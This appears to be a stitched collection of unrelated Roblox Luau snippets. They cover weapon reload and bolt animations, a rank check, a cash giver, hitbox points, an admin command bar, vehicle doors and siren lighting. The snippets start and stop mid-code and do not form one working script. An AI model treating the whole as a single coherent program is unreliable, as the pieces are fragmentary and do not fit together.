ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play() wait(0.4) objs[6]:WaitForChild("MagFall"):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play() wait(0.05) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.05) objs[6]:WaitForChild('MagIn'):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.05) ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play() ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, -0.684338093)}):Play() wait(0.05) MagC:Destroy() objs[4].Transparency = 0 end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.0710707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) end; BoltForwardAnim = function(char, speed, objs) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, -0.603770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.050) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.050) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
--HeroTHePianist
script.Parent.OnServerEvent:connect(function(plr,groupID,minrank) if plr:GetRankInGroup(groupID) < minrank then script.Parent.Parent.Parent:Destroy() end end)
--Made by Aurarus--
currency = "Money" -- Change Gold to the currency you want to give amnt = 20 -- Change 50 to the amount of money you want to give debounce = false -- Don't change this function onTouch(hit) if hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == false then if game.Players:findFirstChild(hit.Parent.Name) ~= nil then ThisPlayer = game.Players:findFirstChild(hit.Parent.Name) ThisPlayer.leaderstats:findFirstChild(currency).Value = ThisPlayer.leaderstats:findFirstChild(currency).Value + amnt script.Parent.Transparency = 1 script.Parent.CanCollide = false debounce = true wait(86400) -- Respawn time for the cash giver script.Parent.Transparency = 0 script.Parent.CanCollide = true debounce = false end end end script.Parent.Touched:connect(onTouch)
--- Creates raycast points using only vector3 values. -- @param object BasePart or Bone, the part you want the points to be locally offset from -- @param table of vector3 values that are in local space relative to the basePart or bone -- @param optional group string parameter that names the group these points belong to
function Hitbox:SetPoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3}, group: string?) for _: number, vector: Vector3 in ipairs(vectorPoints) do local point: Point = self:_CreatePoint(group, Hitbox.CastModes[object:IsA("Bone") and "Bone" or "Vector3"]) point.Instances[1] = object point.Instances[2] = vector table.insert(self.HitboxRaycastPoints, point) end end
-- ROBLOX TODO START: implement missing RegExp when 'g' flag available (or reimplement without RegExp)
function exports.escapeRegex(str): string error("escapeRegex not implemented") -- return str:replace(REGEX_SPECIAL_CHARS_GLOBAL, "\\$1") end function exports.toPosixSlashes(str): string error("toPosixSlashes not implemented") -- return str:replace(REGEX_BACKSLASH, "/") end function exports.removeBackslashes(str): string error("removeBackslashes not implemented") -- return str:replace(REGEX_REMOVE_BACKSLASH, function(match) -- return match == "\\" and "" or match -- end) end
-- Unequip logic here
function OnUnequipped() if FPSHandsEnbled then local Rig = DetectRigAsync(MyCharacter) if Rig == "R15" then local WhitelistedBodyParts = {"LeftHand", "LeftLowerArm", "LeftUpperArm", "RightHand", "RightLowerArm", "RightUpperArm"} for i, v in pairs(WhitelistedBodyParts) do TransparencyConnections[v]:Disconnect() TransparencyConnections[v] = nil end elseif Rig == "R6" then local WhitelistedBodyParts = {"Right Arm", "Left Arm"} for i, v in pairs(WhitelistedBodyParts) do TransparencyConnections[v]:Disconnect() TransparencyConnections[v] = nil end end if AutoFirstPerson then MyPlayer.CameraMode = Enum.CameraMode.Classic MyPlayer.CameraMinZoomDistance = 9.6 task.wait(0.02) MyPlayer.CameraMinZoomDistance = game:GetService("StarterPlayer").CameraMinZoomDistance end end Handle.UnequipSound:Play() Handle.EquipSound:Stop() Handle.EquipSound2:Stop() LeftButtonDown = false flare.MuzzleFlash.Enabled = false Reloading = false MyCharacter = nil MyHumanoid = nil MyTorso = nil MyPlayer = nil MyMouse = nil if OnFireConnection then OnFireConnection:disconnect() end if OnReloadConnection then OnReloadConnection:disconnect() end if FlashHolder then FlashHolder = nil end if WeaponGui then WeaponGui.Parent = nil WeaponGui = nil end if RecoilTrack then RecoilTrack:Stop() end if ReloadTrack then ReloadTrack:Stop() end end local function SetReticleColor(color) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do if line:IsA('Frame') then line.BorderColor3 = color end end end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) while true do task.wait(0.033) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y) SetReticleColor(NeutralReticleColor) local target = MyMouse.Target if target and target.Parent then local player = PlayersService:GetPlayerFromCharacter(target.Parent) if player then if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then SetReticleColor(EnemyReticleColor) else SetReticleColor(FriendlyReticleColor) end end end end if Spread and not IsShooting then local currTime = time() if currTime - LastSpreadUpdate > FireRate * 2 then LastSpreadUpdate = currTime Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount) UpdateCrosshair(Spread, MyMouse) end end end
-- << FUNCTIONS >>
function module:ToggleBar(keyCode) if keyCode == Enum.KeyCode.Quote then local cmdBar = main.gui.CmdBar if cmdBar.Visible then main:GetModule("CmdBar"):CloseCmdBar() else main:GetModule("CmdBar"):OpenCmdBar() end elseif keyCode == Enum.KeyCode.Semicolon then local requiredRank = main.settings.Cmdbar2 if main.pdata.Rank > 0 or requiredRank <= 0 then if main.pdata.Rank < requiredRank then local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "2", main:GetModule("cf"):GetRankName(requiredRank)) main:GetModule("Notices"):Notice("Error", notice[1], notice[2]) else local props = currentProps["cmdbar2"] if not props then main:GetModule("ClientCommands")["cmdbar2"].Function() else if props.mainParent.Visible then props.mainParent.Visible = false else props.mainParent.Visible = true end end end end end end function module:OpenCmdBar() local props = mainProps local requiredRank = main.settings.Cmdbar if main.pdata.Rank > 0 or requiredRank <= 0 then if main.pdata.Rank < requiredRank then local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "", main:GetModule("cf"):GetRankName(requiredRank)) main:GetModule("Notices"):Notice("Error", notice[1], notice[2]) else props.textBox:CaptureFocus() for _,coreName in pairs(coreToHide) do originalCoreStates[coreName] = main.starterGui:GetCoreGuiEnabled(coreName) main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], false) end main:GetModule("TopBar"):CoreGUIsChanged() topBar.BackgroundColor3 = Color3.fromRGB(50,50,50) originalTopBarTransparency = topBar.BackgroundTransparency originalTopBarVisibility = topBar.Visible topBar.BackgroundTransparency = 0 topBar.Visible = true props.textBox.Text = "" cmdBar.Visible = true wait() props.textBox.Text = main.pdata.Prefix props.textBox.CursorPosition = 3 end end end function module:CloseCmdBar() local props = mainProps cmdBar.Visible = false for _,coreName in pairs(coreToHide) do local originalState = originalCoreStates[coreName] if originalState then main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], originalState) end end main:GetModule("TopBar"):CoreGUIsChanged() topBar.BackgroundColor3 = Color3.fromRGB(31,31,31) topBar.BackgroundTransparency = originalTopBarTransparency topBar.Visible = originalTopBarVisibility coroutine.wrap(function() for i = 1,10 do props.textBox:ReleaseFocus() wait() end end)() end function module:PressedArrowKey(key) for i, props in pairs(currentProps) do if props.mainParent.Visible and props.textBox:IsFocused() then local originalLabel = props.rframe:FindFirstChild("Label"..props.suggestionPos) if key == Enum.KeyCode.Down then props.suggestionPos = props.suggestionPos + 1 if props.suggestionPos > props.suggestionDisplayed then props.suggestionPos = 1 end elseif key == Enum.KeyCode.Up then props.suggestionPos = props.suggestionPos - 1 if props.suggestionPos < 1 then props.suggestionPos = props.suggestionDisplayed end elseif key == Enum.KeyCode.Right then selectSuggestion(props) end local newLabel = props.rframe["Label"..props.suggestionPos] if newLabel ~= originalLabel then originalLabel.BackgroundColor3 = props.otherColor newLabel.BackgroundColor3 = props.highlightColor end end end end return module
-- [[ Variables ]
local ActiveHitboxes = {} local Handler = {} local clock = os.clock
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.05,0.25,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.05,-0.05,-1.05) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -0.9) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(0.3, -.25, 1) * CFrame.Angles(math.rad(90), math.rad(90), math.rad(0))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
--//doors
local dl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Door.SS) dl.MaxVelocity = 0.03 dl.Part0 = script.Parent.FL dl.Part1 = dl.Parent local dr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Door.SS) dr.MaxVelocity = 0.03 dr.Part0 = script.Parent.FR dr.Part1 = dr.Parent local wl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Window.SS) --windows local wr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Window.SS) wl.MaxVelocity = 0.007 wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD wl.Part1 = wl.Parent wr.MaxVelocity = 0.007 wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD wr.Part1 = wr.Parent
--LIGHTING FUNCTIONS
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n if lt == 0 then RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360) RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360) UpdateLt(1,white) UpdatePt(false,white) StopMt(pr) repeat wait() until lt~=0 elseif lt == 1 then wait(.25) RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360) RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360) UpdateLt(.25,blue) UpdatePt(true,blue) UpdateMt(0,math.rad(225),4) wait(.75) repeat UpdateMt(0,math.rad(135),0) wait(.5) if lt~=1 then break end UpdateMt(0,math.rad(225),0) wait(.5) until lt~=1 elseif lt == 2 then UpdateLt(.25,amber) UpdatePt(true,amber) UpdateMt(0,9e9,1) repeat if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdateLt(.25,red) end if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdatePt(true,red) end if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdateLt(.25,amber) end if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdatePt(true,amber) end wait() until lt~=2 elseif lt == 3 then wait(1/6) 